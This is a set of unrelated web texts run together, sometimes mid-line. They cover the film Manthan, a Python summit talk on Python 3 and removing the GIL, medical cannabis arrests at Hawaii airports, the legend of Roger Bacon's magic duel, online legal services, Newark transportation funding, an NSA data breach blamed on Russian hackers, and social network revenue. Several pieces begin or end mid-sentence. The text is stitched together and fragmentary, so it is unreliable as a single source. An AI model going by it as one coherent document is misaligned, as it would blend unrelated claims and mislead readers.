[embedvideo id=”2SxS4FhL70U” website=”youtube”]
20. Manthan
The film by Shyam Benegal traces a small set of poor farmers of Kheda district in Gujarat who had the vision and foresight to act in a way that was good for the society and not for the self alone. It is set amidst the backdrop of the White Revolution of India (Operation Flood) which started in 1970, ushering in an era of plenty, from a measly amount of milk production and distribution.
It was the first film in the world to be produced not by a single production house, but the farmers of the Gujarat Co-operative Milk Federation who contributed Rs.2 each for the production of the movie.
Know some more influential movies, especially in regional cinema, that left a social impact? Drop in your comments below. You can write to us at- contact@thebetterindia.comMaking Python 3 more attractive
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Larry Hastings was up next at the summit with a discussion of what it would take to attract more developers to use Python 3. He reminded attendees of Matt Mackall's talk at last year's summit, where the creator and project lead for the Mercurial source code management tool said that Python 3 had nothing in it that the project cares about. That talk "hit home for me", Hastings said, because it may explain part of the problem with adoption of the new Python version.
The Unicode support that comes with Python 3 is "kind of like eating your vegetables", he said. It is good for you, but it doesn't really excite developers (perhaps because most of them use Western languages, like English, someone suggested). Hastings is looking for changes that would make people want to upgrade.
He wants to investigate features that might require major architectural changes. The core Python developers may be hungry enough to get people to switch that they may be willing to consider those kinds of changes. But there will obviously be costs associated with changes of that sort. He wanted people to keep in mind the price in terms of readability, maintainability, and backward compatibility.
The world has changed a great deal since Python was first developed in 1990. One of the biggest changes is the move to multi-threading on multicore machines. It wasn't until 2005 or so when he started seeing multicore servers, desktops, and game consoles, then, shortly thereafter, laptops. Since then, tablets and phones have gotten multicore processors; now even eyeglasses and wristwatches are multicore, which is sort of amazing when you stop to think about it.
The perception is that Python is not ready for a multicore world because of the global interpreter lock (GIL). He said that he would eventually get to the possibility of removing the GIL, but he had some other ideas he wanted to talk about first.
For example, what would it take to have multiple, simultaneous Python interpreters running in the same process? It would be a weaker form of a multicore Python that would keep the GIL. Objects could not be shared between the interpreter instances.
In fact, you can do that today, though it is a bit of a "party trick", he said. You can use dlmopen() to open multiple shared libraries, each in its own namespace, so that each interpreter "runs in its own tiny little world". It would allow a process to have access to multiple versions of Python at once, though he is a bit dubious about running it in production.
Another possibility might be to move global interpreter state (e.g. the GIL and the small-block allocator) into thread-local storage. It wouldn't break the API for C extensions, though it would break extensions that are non-reentrant. There is some overhead to access thread-local storage because it requires indirection. It is "not as bad as some other things" that he would propose, he said with a chuckle.
A slightly cleaner way forward would be to add an interpreter parameter to the functions in the C API. That would break the API, but do so in a mechanical way. It would, however, use more stack space and would still have the overhead of indirect access.
What would it take to have multiple threads running in the same Python interpreter? That question is also known as "remove the GIL", Hastings said. In looking at that, he considered what it is that the GIL protects. It protects global variables, but those could be moved to a heap. It also enables non-reentrant code as a side effect. There is lots of code that would fail if the assumption that it won't be called simultaneously in multiple threads is broken, which could be fixed but would take a fair amount of work.
The GIL also provides the atomicity guarantees that Messier brought up. A lock on dicts and lists (and other data structures that need atomic access) could preserve atomicity. Perhaps the most important thing the GIL does, though, is to protect access to the reference counts that are used to do garbage collection. It is really important not to have races on those counts.
The interpreter could switch to using the atomic increment and decrement instructions provided by many of today's processors. That doesn't explicitly break the C API as the change could be hidden behind macros. But, Hastings said, Antoine Pitrou's experiments with using those instructions resulted in 30% slower performance.
Switching to a mark-and-sweep garbage collection scheme would remove the problem with maintaining the reference counts, but it would be "an immense change". It would break every C extension in existence, for one thing. For another, conventional wisdom holds that reference counting and "pure garbage collection" (his term for mark and sweep) are roughly equivalent performance-wise, but the performance impact wouldn't be known until after the change was made, which might make it a hard sell.
PyPy developer Armin Rigo has been working on software transactional memory (STM) and has a library that could be used to add STM to the interpreter. But Rigo wrote a toy interpreter called "duhton" and, based on that, said that STM would not be usable for CPython.
Hastings compared some of the alternative Python implementations in terms of their garbage-collection algorithm. Only CPython uses reference counting, while Jython, IronPython, and PyPy all use pure garbage collection. It would seem that the GIL and reference counting go hand in hand, he said. He also noted that few other scripting languages use reference counting, so the future of scripting may be with pure garbage collection.
Yet another possibility is to turn the C API into a private API, so extensions could not call it. They would use the C Foreign Function Interface (CFFI) for Python instead. Extensions written using Cython might be another possible approach to hide the C extension API.
What about going "stackless" (à la Stackless Python)? Guido van Rossum famously said that Python would never merge Stackless, so that wasn't Hastings's suggestion. Instead, he looked at the features offered by Stackless: coroutines, channels, and pickling the interpreter state for later resumption of execution. Of the three, only the first two are needed for multicore support.
The major platforms already have support for native coroutines, though some are better than others. Windows has the CreateFiber() API that creates "fibers", which act like threads, but use "cooperative multitasking". Under POSIX, things are a little trickier.
There is the makecontext() API that does what is needed. Unfortunately, it was specified by POSIX in 2001, obsoleted in 2004, and dropped in 2008, though it is still mostly available. It may not work for OS X, however. When makecontext() was obsoleted, POSIX recommended that developers use threads instead, but that doesn't solve the same set of problems, Hastings said.
For POSIX, using a combination of setjmp(), longjmp(), sigaltstack(), and some signal (e.g. SIGUSR2 ) will provide coroutine support though it is "pretty awful". While it is "horrible", it does actually work. He concluded his presentation by saying that he was mostly interested in getting the assembled developers to start thinking about these kinds of things.
One attendee suggested looking at the GCC split stack support that has been added for the Go language, but another noted that it is x86-64-only. Trent Nelson pointed to PyParallel (which would be the subject of the next slot) as a possible model. It is an approach that identifies the thread-sensitive parts of the interpreter and has put in guards to stop multiple threads from running in them.
But another attendee wondered if removing the GIL was really the change that the Mercurial developers needed in order to switch. Hastings said that he didn't think GIL removal was at all interesting to the Mercurial developers, as they are just happy with what Python 2.x provides for their project.
Though there may be solutions to the multi-threading problem that are architecture specific, it may still be worth investigating them, Nick Coghlan said. If "works on all architectures" is a requirement to experiment with ways to better support multi-threading, it is likely to hold back progress in that area. If a particular technique works well, that may provide some impetus for other CPU vendors to start providing similar functionality.
Jim Baker mentioned that he is in favor of adding coroutines. Jython has supported multiple interpreters for a while now. Java 10 will have support for fibers as well. He would like to see some sort of keyword tied to coroutines, which will make it easier for Jython (and others) to recognize and handle them. Dino Viehland thought that IronPython could use fibers to implement coroutines, but would also like to see a new language construct to identify that code.
The main reason that Van Rossum is not willing to merge Stackless is because it would complicate life for Jython, IronPython, PyPy, and others, Hastings said (with Van Rossum nodding vigorously in agreement). So having other ways to get some of those features in the alternative Python implementations would make it possible to pursue that path.
Viehland also noted that there is another scripting language that uses reference counting and is, in fact, "totally single threaded": JavaScript. People love JavaScript, he said, and wondered if just-in-time (JIT) compiling should be considered as the feature to bring developers to Python 3. That led Thomas Wouters to suggest, perhaps jokingly, that folks could be told to use PyPy (which does JIT).
Hastings said that he has been told that removing the GIL would be quite popular, even if it required rewriting all the C extensions. Essentially, if the core developers find a way to get rid of the GIL, they will be forgiven for the extra work |
accounts of similar events, but never spoke directly to patients who had gone though a similar experience. It has only been in the past year that I have been able to finally talk with others, and learn what exactly has been going on. The following is based on six patients, all of whom had problems on the Big Island. I think it very likely this happens on other islands, but I have not been able to confirm it.
The Federal government does not own the airports, and is not in charge of security at them. The TSA is indeed a Federal agency, but they do not have the power to arrest anyone. Their main concern is things that will bring harm to the aircraft or passengers, such as guns, knives and bombs. They can pull someone out of line for other contraband, but all they can do is detain the person, and call for LOCAL law enforcement. There is also a Federal Aviation Administration regulation (91.19) which allows for carriage of marijuana if…”authorized by or under any Federal or State statute or by any Federal or State agency.” (see attached)
There are private security guards at each check point, and although they carry guns, they are unable to arrest anyone. They are usually retired law enforcement officers, and while some are nice, others are not. They may threaten you, or try to get free information, but you are under no obligation to tell them anything. They will contact the police or sheriff.
Thus far, the police have been releasing patients caught with small quantities of medicine (but of course they confiscate it) and arresting those with larger amounts. The patients being released are charged later by the Hawai’i County Prosecuting Attorney. So, despite all the “Federal government controls the airports” rhetoric, every patient (thus far) has been charged and tried in Hawai’i state court, not Federal. (There’s also the 10th Amendment, in which states are not required to enforce Federal law or prosecute people for engaging in activities prohibited by Federal law.)
Attached (here, here and here) is a copy of a memo from the Alameda County Corporation Counsel to the Sheriff’s Department, which oversees security at Oakland International Airport. It directs the Sheriff to follow California state law if they encounter a patient traveling with medicine and a valid recommendation. I understand that similar procedures are followed at San Francisco, San Jose and Los Angeles airports, but I have not seen anything in writing. I have tried to get Hawai’i County Corporation Counsel Lincoln Ashida to issue a similar memo, but he has simply referred me back to the Narcotics Enforcement Division, who of course stonewalled me. Ms. Jodie Maesaka-Hirata, the director of the Department of Public Safety has also refused to help out.
Patients with less than one ounce have been charged with “promotion of a detrimental drug in the 3rd degree” and those with more than one ounce have been charged in the 2nd degree. For some reason, the Hawai’i Revised Statutes uses the term “promotion of” to include/mean “possession.” Promotion in the 3rd degree, a petty misdemeanor, has a maximum sentence of 30 days in jail, and the trial is before a judge, not a jury. The maximum sentence in 2nd degree cases is one year, and is eligible for a trial by a jury of one’s peers. (But, thus far, no case has gone before a jury.)
The Hawai’i Medical Cannabis Program was passed in 2000, and was the first one done by a state legislature (California’s Prop 215 had been passed by voters in 1996). Although the intent of the legislature would seem clear, the law is poorly written and is being interpreted and enforced in the narrowest possible way, to the detriment of patients state-wide.
The argument being made by the prosecutors (and NED) and which was upheld in Judge Florendo’s court in Kona is as follows. The first part of the law (329-121) defines the “medical use” of marijuana to include the “transportation of.” The second part of the law (329-122) defines where you cannot have “medical use” of marijuana, which includes any “other place open to the public.” The law itself makes no distinction between using (smoking) and simply transporting it. (And, in these cases, the medicine was not open to the public until the TSA pulled it into view.)
There were two cases in Hilo that were dismissed by Judge Takase, who ruled that the law was so vague, no one (patients, police or prosecutors) could properly interpret it. The Hawai’i County Prosecuting Attorney has appealed the ruling. The defendant who was found guilty by Judge Florendo is also appealing. The ACLU has joined the fray and submitted an amicus brief on behalf of the patients. A ruling is expected eventually (it may take one year.). Perhaps the loser will appeal to the state Supreme Court, and it may take even longer to get a final, clear interpretation.
The narrow interpretation is also being applied to patients transporting their medicine in cars, and in effect restricts a patient to being at home (or going to/from their caregiver). This is unreasonable and unacceptable, and we will continue to work to find a remedy.
If you are a patient and are traveling by car, my advice is to put your medicine in the trunk. (If you don’t have a trunk, then lock it in the glove box.) Also, do not smoke in your car.
Finally, know your rights. There are two excellent DVDs produced by the group Flex Your Rights (www.flexyourrights.org): “Busted” and “10 Rules for Dealing with Police” (which is newer). There are free versions on YouTube or you can order them on line. Know your rights and try to exert them. It may come down to your word against that of the police officer, but you must know what to expect, and these videos are worth watching.
If you are a patient and have been detained, arrested and/or prosecuted for traveling with your medicine (either in your car or at the airport) I would like to hear from you. Please contact me at: bigislandsafeaccess@gmail.com
ref: Medical Marijuana and Collateral Damage: Pain, Suffering, Arrests“SORCERY, n. The ancient prototype and forerunner of political influence. It was, however, deemed less respectable and sometimes was punished by torture and death. Augustine Nicholas relates that a poor peasant who had been accused of sorcery was put to the torture to compel a confession. After enduring a few gentle agonies the suffering simpleton admitted his guilt, but naively asked his tormentors if it were not possible to be a sorcerer without knowing it.” – Ambrose Bierce
Let’s get ready to rumble! Tonight’s 13th Century “Dance in France” cage match before the Kings of England and France to determine who takes home the all-time heavyweight title for sorcerous skill is a battle of titans. In this corner, wearing the brown Franciscan habit is the monk with the junk, the scholar who’ll make you holler’, the spastic Scholastic, Somerset native son, and Doctor Mirabilis, Friar Roger Bacon. In the opposing corner is the thamaturge with the urge, the Teutonic Tonic, the pride of German prestidigitation, Vandermast. May the best warlock win!
I figure the introduction went something like that when polymath, scientist, and reputed wizard Roger Bacon (1214-1292 A.D.) and the continental conjurer Vandermast faced off for the amusement of aristocrats during peace negotiations. As usual, France and England were at war. Which war is not entirely clear, but we can narrow it down to the 1242 Saintonge War or the Second Barons’ War (1264–1267), which probably means Henry III was King of England and in all likelihood since the conflict was taking place on French soil, it was probably the Saintonge War, a little tussle over the accession of King Louis IX’s brother Alphonse as Count of Poitou. Henry III arrived to support Count of La Marche, Hugh de Lusignan and a few other rebellious French nobles, and was already a little miffed that Louis IX had not chosen Henry’s brother the Earl of Cornwall for the countship.
At the time, Roger Bacon was a big name in alchemy, astrology, math, linguistics, Aristotelian philosophy, and optics, not to mention the “street cred” he had as a master of the occult sciences. Bacon had impressed Henry III with a few party tricks, but kings are generally more impressed by people who can knock down castle walls, so as he went about burning and pillaging a few towns in France, he enlisted Bacon’s aid during a particularly thorny siege and it is said, “The king soon wanted friar Bacon’s services, and the latter enabled him, by his perspective and burning glasses, to take a town which he was besieging. In consequence of this success, the kings of England and France made peace, and a grand court was held, at which the German conjurer Vandermast was brought to try his skill against Bacon” (Wright, 1851, p131-132).
We’re a little sketchy on the biographical details of Vandermast, identified only as a “German conjurer” in the service of the French King’s brother. It is said Henry III treated the inhabitants of the town he had just taken with such clemency, that he earned the respect of the King’s brother, who merely called in Vandermast to perform some magic purely for Henry’s post-banquet amusement. Henry III, understanding what the nature of the entertainment was to be, quietly requested that Friar Bacon (and his colleague and student, a certain wizardly prodigy named Friar Bungay), quietly observe the demonstration.
When the banquet was over, Vandermast asked the king of England if it was so that he would choose to see the spirit of any man that had formerly lived. The king said, “Yea; above all I would see Pompey, who could brook no equal.” And Vandermast made him appear as he was attired at the battle of Pharsalia, whereat all were mightily contented (Hazlitt, 1892, p88).
Everyone was contented, that is, except for Friar Bacon. He was unimpressed. Plying his sorcerous trade, but as of yet remaining anonymous, “Bacon responded by opposing to it the shade of Julius Caesar. The apparitions fought, and Pompey was vanquished” (Frost, 1876, p45). With this little bit of magical one-upsmanship, Bacon revealed himself, and everyone agreed that Friar Bacon was the superior wizard, having put Vandermast’s apparition to shame. Vandermast demanded a rematch, and in all fairness Bacon had bushwacked him from the crowd, but Bacon had seen all he needed to see of Vandermast’s inferior wizardry, and tagged out. He turned matters over to his slightly less talented colleague Friar Bungay. That’s just cold. And he talked some trash too, saying “it is a little thing will serve to resist thee in this kind. I have here one that is my inferior (showing him Friar Bungay) try thy art with him; and if thou do put him to the worst, then will I deal with thee; but not till then.”
Friar Bungay then began to show his art; and after some turning and looking in his book, he brought up among them the Hysperian tree, which did bear golden apples; these apples were kept by a waking dragon, that lay under the tree. He, having done this, bade Vandermast find one that durst gather the fruit. Then Vandermast did raise the ghost of Hercules, in his habit that he wore when he was living; and with his club on his shoulder. “Here is one,” said Vandermast,” that shall gather fruit from this tree: this is Hercules, that in his life time gathered of this fruit, and made the dragon crouch; and now again shall he gather it in spite of opposition.” As Hercules was going to pluck the fruit, Friar Bacon held up his wand; at which Hercules stayed, and seemed fearful. Vandermast bade him for to gather of the fruit, or else he would torment him. Hercules was more fearful, and said, “I cannot, nor I dare not; for great Bacon stands, whose charms are far more powerful than thine; I must obey him, Vandermast.” Hereat, Vandermast cursed Hercules, and threatened him: but Friar Bacon laughed; and bade him not to chafe himself, ere that his journey was ended. “For seeing,” said he, “that Hercules will do nothing at your command; I will have him do you some service, at mine.” With that, he bade Hercules carry him home into Germany. The spirit obeyed him, and took Vandermast on his back, and went away with him in all their sights. “Hold, Friar,” cried the ambassador, “I will not lose Vandermast for half my land!” “Content yourself, my Lord,” answered Friar Bacon, “I have but sent him home to see his wife; and ere long he may return.” The King of England thanked Friar Bacon, and forced some gifts on him for his services that he had done for him: for Friar Bacon did so little respect money, that he never would take any of the King (Thoms, 1846, p106-107).
Vandermast, having been soundly bested, later contracted a hitman to go after Bacon, who avoided the assassination attempt handily, but a later magical duel between Friar Bungay and Vandermast would sadly result in both of their deaths. This so saddened Bacon that it is said “he became melancholy, and at length he burnt his books of magic, distributed his wealth among poor scholars and others, and became an anchorite” (Spence, 1920, p62). The whole episode would be immortalized in the most significant Elizabethan comedy written by Shakespeare’s contemporary Robert Greene (1558-1592) called The Honorable Historie of Friar Bacon and Friar Bungay.
Wizarding is a competitive gig. It’s a pretty small fraternity of those who successfully consort with dark forces and live to tell about it, thus one hopes to see all that necromancy and conjuration at least result in the respect of one’s peers and some worldly prestige. Sadly, there is always somebody better out there waiting to steal the spotlight. We’ll never know whether Vandermast was actually a skilled sorcerer. All we know is that Bacon opened up a can of “whoop ass” on him. As poet William C. Bryant said, “Winning isn’t everything, but it beats anything in second place”.
References
Adams, W. H. Davenport 1828-1891. Witch, Warlock, And Magician: Historical Sketches of Magic And Witchcraft In England And Scotland. New York: J. W. Bouton, 1889.
Frost, Thomas, 1821-1908. The Lives of the Conjurors. London: Tinsley, 1876.
Hazlitt, William Carew, 1834-1913. Tales And Legends of National Origin Or Widely Current In England From Early Times.. London: S. Sonninschein, 1892.
Spence, Lewis, 1874-1955. An Encyclopædia of Occultism: a Compendium of Information On the Occult Sciences, Occult Personalities, Psychic Science, Magic, Demonology, Spiritism And Mysticism. New York: Dodd, Mead, 1920.
Thoms, William John, 1803-1885. Gammer Gurton’s Famous Histories: of Sir Guy of Warwick, Sir Bevis of Hampton, Tom Hickathrift, Friar Bacon, Robin Hood, And the King And the Cobbler. New York: Wiley and Putnam, 161 Broadway, 1846.
Wright, Thomas, 1810-1877. Narratives of Sorcery And Magic; From the Most Authentic Sources. London: R. Bentley, 1851.[In the future] The lawyers who succeed will combine Wal-Mart Efficiency With Neiman Marcus Feel.
So says Thomas Morgan, a law professor from George Washington University, to the Florida Board of Governors and the Young Lawyers Division board at their recent joint Palm Beach meeting. This in the wake of the current upheaval in the general economy and the law market specifically. Globalization barreling around the globe, law schools churning out too many graduates, and the rise of internet-based legal services such as LegalZoom, TotalAttorneys, and RocketLawyer. All of them combine to put more pressure on lawyers to deliver high-quality, low-cost legal services than has ever existed.
RocketLawyer in particular drew much attention this past week when it was announced that Google had invested $18.5 million in the company. RocketLawyer is a bit different from LegalZoom in that it claims that it coordinates all contracted legal work with practicing attorneys from the appropriate jurisdiction. In the wake of the investment, LegalOnRamp CEO Paul Lippe postulates that,
Today’s announcement that Google is investing in Rocket Lawyer—and will apparently use Google Docs as the basic productivity platform for small law firms—is another indication of the Google Maps-ization of law. Information that is already known will be organized to be more available. Business models built on information scarcity will be have to be revamped. Standards will emerge. Clients (whether big companies or individuals) will be reluctant to pay for reinventing the wheel. That doesn’t mean that lawyers will be “commoditized.” There are a whole range of skills that will continue to be valuable, from advocacy to judgment to counseling to expertise to how to organize information. Big company legal departments and the law firms that serve them will probably approach this somewhat differently, managing collaboration and confidentiality in dedicated systems. But just as Lewis & Clark didn’t re-invent canoe-making for their expedition, but leveraged what was already known so they could solve new problems, lawyers can’t sustain business a model predicated on reinventing the wheel in a Google-y world. That’s the New Normal.
But What About Quality?
The news surrounding Google’s investment in RocketLawyer has many people talking about the cost-saving to clients. Or the efficiency of service. Or the convenience that these new services will provide. Somewhere in all of the excitement that this new technology provides – any mention of providing high quality, competent, experienced legal services to clients seems to have gone missing. Convenience and cost-saving are to be lauded and sought after. Too long has the legal industry been able to coax by without any sort of push for efficiency in its products and services. But the practice of law is distinct from other businesses as well. At some point, the push for efficiency can become overwhelming and dangerous.
Lawyers are advocates. Yes, we should use technology to make ourselves more accessible to clients or to help streamline boilerplate work and services. But we are also here to step into other people’s shoes and assume their problems as our own. That does not mean working through some documents at a break-neck pace, or letting a form generator create a contract that a lawyer gives a cursory review. It means spending half and hour on crafting a one paragraph email to a client to make sure it is as clear and helpful as possible (while only billing.1). Or proofreading that brief 18 times before filing it because it has to be absolutely correct.
At some point it has to be about more than Wal-Mart efficiency and Neiman Marcus “feel.”
It has to be about Neiman Marcus service.
__________
H/T to the Legal Skills Prof Blog for this story and staying on top of these developments. Read more here and here.NEWARK – Newark Mayor Ras Baraka sat in his seat on the NJ Transit 39 bus on Thursday morning as it rumbled toward City Hall, joining mayors around the nation grumbling about the future of the Federal Transportation Act.
Baraka, along with New York City Mayor Bill de Blasio and others, rode public transportation to draw attention to their desire for the U.S. Congress to reauthorize the act, which helps provide federal funding to support transportation infrastructure construction and other initiatives nationwide. The act will expire on May 31.
But in New Jersey, where the depleted state Transportation Trust Fund is at risk of becoming unable to finance New Jersey’s long-term needs, the transportation situation has an added urgency, according to Baraka.
“It’s the same thing. We have to fund the Transportation Trust Fund here, but on a federal level, we need more dollars to go above and beyond what we’re able to do in the state,” Baraka said on the somewhat bumpy ride down Bergen Street. “We have very little dollars to get our roads paved, expanded and widened.”
Although New Jersey Governor Chris Christie’s proposed budget for the upcoming fiscal year includes $1.1 billion to spend on transportation projects, state Transportation Commissioner Jamie Fox warned last week that this plan would only fuel the fund through the end of June 2016. NJ Transit officials said they expected to propose a fare hike to deal with a budget shortfall by the end of this month.
Christie will be on the road for much of next week in New Hampshire, a key presidential primary state, as the Republican governor continues to explore launching a bid for the White House in 2016.
Baraka had some suggestions for what policy positions Christie should take on his visit to the “Live Free or Die” state.
“On his bus to New Hampshire, and hopefully when he starts talking nationally, he says something about funding transportation not just on a federal level, but in New Jersey, too,” Baraka said. “We need to fund transportation here in the city of Newark and in major cities in the state. I’m focused on Newark and the state of New Jersey, and as long as he’s the governor, he should be focused on New Jersey, too. People ride the bus every single day. Hopefully, that’s a part of his talking points. I’m not his adviser, but I doubt it.”h:168640
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Join us Saturday 6 July 2013, 4pm London Time, 11am Eastern US time, for Episode 5 of Domestic Violence Revelations with Erin Pizzey. This episode will directly explore the phenomenon of Men Going Their Own Way (MGTOW), with a special prerecorded interview with Dr. Helen Smith, as well as a reading from her book, "Men On Strike: Why Men Are Boycotting Marriage, Fatherhood, and the American Dream – and Why It Matters." Dr. Helen won't be available for calls this episode but we invite you to call in with your questions, comments, or observations. If you're MGTOW, Erin will have questions for you, and what experiences and knowledge led you to that path. We hope to have a productive and lively conversation. Please join us!WASHINGTON — In the latest case of an insider removing sensitive data from the nation’s largest intelligence agency, Russian hackers obtained classified documents that a National Security Agency employee had taken and stored on his home computer. Investigators believe the hackers may have penetrated the computer by exploiting Kaspersky Lab antivirus software, a Russian brand widely used around the world, that the employee was using, according to officials briefed on the matter.
The highly classified material involved the agency’s techniques for breaking into foreign computer networks to collect intelligence, the officials said. The case appears to be separate from a larger breach of security, by a group calling itself the Shadow Brokers, which has been publicly posting samples of the agency’s hacking tools periodically for more than a year. The case was first reported by The Wall Street Journal on Thursday.
Investigators say the employee does not appear to have intended to let the sensitive cybertools escape to the outside world. Officials believe he took the material home — an egregious violation of agency rules and the law — because he wanted to refer to it as he worked on his résumé. The maker of the antivirus software installed on his home computer, Kaspersky Lab, is a Russian company that American security officials have long feared may cooperate with, or be infiltrated by, the Russian government.SAN FRANCISCO It is the burning question in tech circles, and Mike Murphy answers it before it is completed. "I hear it every time I'm on a (tech) panel," Murphy, Facebook's vice president of media sales, says with a wry smile. STORY: Social networks vs. TV networks He's referring to the inevitable question on when Facebook and other social-networking sites will turn their steep market valuations into mounds of currency. (Invariably, Murphy answers that Facebook has a long list of major advertisers.) Facebook, MySpace and other social-networking sites have been the rage of the tech industry for more than a year. Following investments by Microsoft and News Corp., the companies are valued in the billions of dollars and are considered blueprints for how to build a website. Yet a deeper question lingers: How are they going to consistently produce profits to match their soaring valuations? It is a parlor game that has Silicon Valley buzzing. With online ad spending booming into a nearly $50 billion market this year, there is plenty of money to be had. Big-name advertisers are drooling over millions of young, affluent consumers who are spending more time on their online profiles than in front of TV and movie screens. They are particularly smitten with the prospect of tailoring ads to people's specific interests. But Google commands a sizable chunk of the market — especially in the USA — leaving dozens of social-networking sites to scramble for a piece of the advertising pie. Plus, there is the ticklish task of sites and advertisers pitching products without trampling the privacy of consumers. Short of striking it rich with online ads or creating a new revenue stream, how can so many sites leverage their vast audiences? In many respects, it is the same query that dogged portal companies in the mid-1990s and search engines in the early '90s. Some were sold. Some went public. Some went belly up. The ongoing challenge is to concoct a potion — be it through banner ads, premium subscriptions or licensing agreements — that no one has perfected. Facebook, crown jewel of the field, is valued at $15 billion but barely turns a profit. "You can't have a $15 billion market valuation based on advertising alone," says Bill Eager, co-founder of bSocial Networks, a maker of software that helps social-networking users market to each other. "It's the single most-asked question in this field." Forrester Research analyst Charlene Li has pondered the next stage for social networks. She envisions the ubiquitous sites will, in five to 10 years, "be like air: They will be anywhere and everywhere we need and want them to be." Eager estimates there will be as many as 250,000 sites that call themselves social networks within a year, compared with about 850 today. "Everyone will reposition their site to take advantage of this phenomenon. It happened before with portals." To get there, though, there is that little matter of making money. "Facebook's real problem isn't privacy, it's monetization," says Dave McClure, a start-up adviser and angel investor in Silicon Valley. "It's not too early to worry about how Facebook makes money." Murphy and other Facebook executives are well aware of that concern. "Advertisers follow people," says Sheryl Sandberg, a former Google executive who recently was named Facebook's chief operating officer. "We have 70 million active members. Once you have engaged users, the revenue will follow in that order." The Web economy Seth Goldstein, whose company SocialMedia Networks helps create ads for social-networking sites, says sound economics underpin the hype of social networks. "More and more people are spending more and more of their time within the Facebook ecosystem," Goldstein says. "This is the largest aggregated, engaged audience. Period." Social networks present an enormous opportunity — maybe the biggest in tech since e-mail. The sites have simplified and amplified connections between people online, creating a thriving ecosystem of small programs that let friends interact through games, greetings, video clips and more. Nonetheless, a fundamental challenge is that the networks often are "walled gardens," closed to the rest of the Web. Avid Internet users must maintain separate accounts on different social networks, blogs, photo-sharing sites and instant-messaging services. In each case, they must invite the same friends to each separate service. Services such as AOL and CompuServe were early walled gardens before they became widely available websites. The same with early e-mail services and instant-messages. Last week, both MySpace and Facebook addressed the issue by announcing they will soon let users share profile data with other websites. "We're taking those walls down," says Amit Kapur, MySpace's COO. Facebook will let members take their personal profiles to any website that wants to host them. For now, MySpace is opening user profiles only to a few sites, including Yahoo and eBay. Social networks are the latest iteration of the Web economy. But unlike e-commerce sites and search engines, they offer a more intimate setting for friends to share information. It is also conceivable that social networking, like e-mail, will never make piles of cash. Facebook's ambitious plan to reshape advertising — via a new approach to social marketing, called Beacon — was a bust. The idea was to inform friends whenever a Facebook member purchased something from online retailers. When consumers protested its invasion of privacy, Facebook CEO Mark Zuckerberg acknowledged the miscue and promptly apologized. Even Google, as close to a money mint as anything online, has struggled. Google has a deal with Rupert Murdoch's News Corp. to place ads on MySpace, and owns Orkut, which flopped in the USA. Co-founder Sergey Brin recently admitted the "monetization work we were doing there didn't pan out as well as we had hoped." "No one has done for social media what Overture and Google did for search," says Martin Green, vice president of business at Meebo, an instant-messaging program that works across multiple IM services. "There needs to be an AdWords for (social networks)," says David Carlick, a partner at VantagePoint Venture Partners, referencing Google's ad system that displays text ads related to search terms. So far, several players have managed to cash in to varying degrees: •MySpace. Since it scored a $900 million, three-year deal with Google in 2006, MySpace has been profitable. And it has given News Corp. a nice turn on its $650 million acquisition in 2005; Richard Greenfield, an analyst at Pali Capital, expects MySpace to haul in $700 million to $800 million in revenue in fiscal 2008, mostly in advertising. MySpace last month forged partnerships with major record labels Sony BMG Music Entertainment, Warner Music Group and Vivendi's Universal Music Group to offer its 117 million members tickets, ring tones and artist merchandise. Driving a good chunk of sales is a project launched last summer called HyperTargeting, software that mines the profiles of MySpace users to deliver ads tailored to their interests. Hundreds of advertisers are part of the program, including Toyota and Taco Bell. Another income source is the sale of mobile ring tones and ads. MySpace isn't through. It is "definitely looking into subscription services" and emerging international markets such as India and Japan, says CEO Chris DeWolfe. •Facebook. Despite some hand-wringing over its fate, Facebook stacks up well compared with Google at the same juncture in its history. Facebook hopes to double its revenue to $300 million to $350 million this year, its fourth of existence. Google's revenue soared fivefold, to $440 million, in its fourth year. The 70 million-member network has ramped up revenue with the sale of banner ads through an agreement with Microsoft, targeted-ad programs for local businesses and the sale of virtual gifts. Those gifts, such as a birthday cake or a popping cork of champagne, are affixed to a user's profile in the manner that someone would sign a high school yearbook. "We believe there will be a diversity of revenue — with brand-name advertisers, local advertisers and direct-response advertisers," says Chamath Palihapitiya, Facebook's vice president of product marketing. •LinkedIn. The business-contact site has built a booming business in five years through banner ads from the likes of Porsche and Microsoft; subscriptions; job postings charged to corporations and small-business owners; and corporate sales to Symantec, MTV and others. LinkedIn is developing other revenue streams, including research services to locate experts. "It is a global, interconnected world, and we are the one professional network," says CEO Dan Nye. The 250-person company boasts 21 million members and is adding 1.2 million per month. Social-networking site Bebo, recently acquired by AOL for a knee-buckling $850 million, is parlaying its popularity with a predominantly young audience — many are 13 to 24 years old. It has struck up marketing initiatives with advertisers such as Nike and Apple, says Ziv Navoth, vice president of marketing and business development at Bebo, which has 43 million users. That is a key reason it has been profitable the past 18 months. •Vertical social networks. Social networks that cater to the specialized interests of their members offer a premium of eyeballs and opportunity for advertisers, who want a safe, well-lit place they know and trust. "If you have the right audience and the right engagement, you can build a real media business," says Tina Sharkey, CEO of BabyCenter. For most social networks, the goal is to carve out a niche where they fit in a market dominated by generalists MySpace, Facebook and Bebo, says Aaron Levie, CEO of Box.net, an online file system. So far, several have. Imeemhas established itself as a music and media social-networking site with 25 million unique visitors each month. Xing, a business-contact list service popular in Europe, says its revenue doubled in 2007 — to $30 million, from 2006 — because of premium subscriptions, an e-commerce marketplace and banner ads. Meanwhile, Ning, a free platform for do-it-yourself social networks, has helped create more than 260,000 networks. The company estimates that, by the end of 2010, it will host some 4 million social networks, with tens of millions of members, serving up billions of page views daily. Show me the money.com Opportunities abound. Though the U.S. market is largely sewn up among the Big 3 of MySpace, Facebook and LinkedIn, the international market is wide open. China alone has jolted to $1 billion in online ads last year from nothing a few years ago. ZenithOptimedia estimates online ad spending worldwide will soar 26.5% this year, to $47.7 billion. Total ad spending worldwide, by comparison, is expected to grow 4.6%, to $653.9 billion this year, says Universal McCann. It won't be easy, with so many social networks slugging it out. "The pressure is to scale up revenue and then show a profit," says Kent Lindstrom, president of Friendster, the one-time red-hot social network in the USA that has since become popular in Asia, with nearly 50 million members. Speculation veers from the dire to the giddy. "Honeymoon is over for social networks. They need to start generating revenue now or bow out of the race," according to a new report from In-Stat. Yet Venture capitalists are taking bets on the IPO possibilities for Slide, a maker of widgets for Facebook and MySpace, among others. SocialMedia CEO Goldstein is betting it will be late this year or early 2009 when name-brand advertisers flock to Facebook, Slide, Ning and others. Coincidentally, that's when investors expect revenue to ramp up. Silicon Valley is keenly aware of the vagaries of empty dot-com promises. Just ask any of the once-promising start-ups in the portal and e-commerce markets that were eviscerated amid high hopes and low revenue. Plus, there is the specter of impatient investors. Some sites could draw millions of customers, but if they are short on funding there isn't much they can 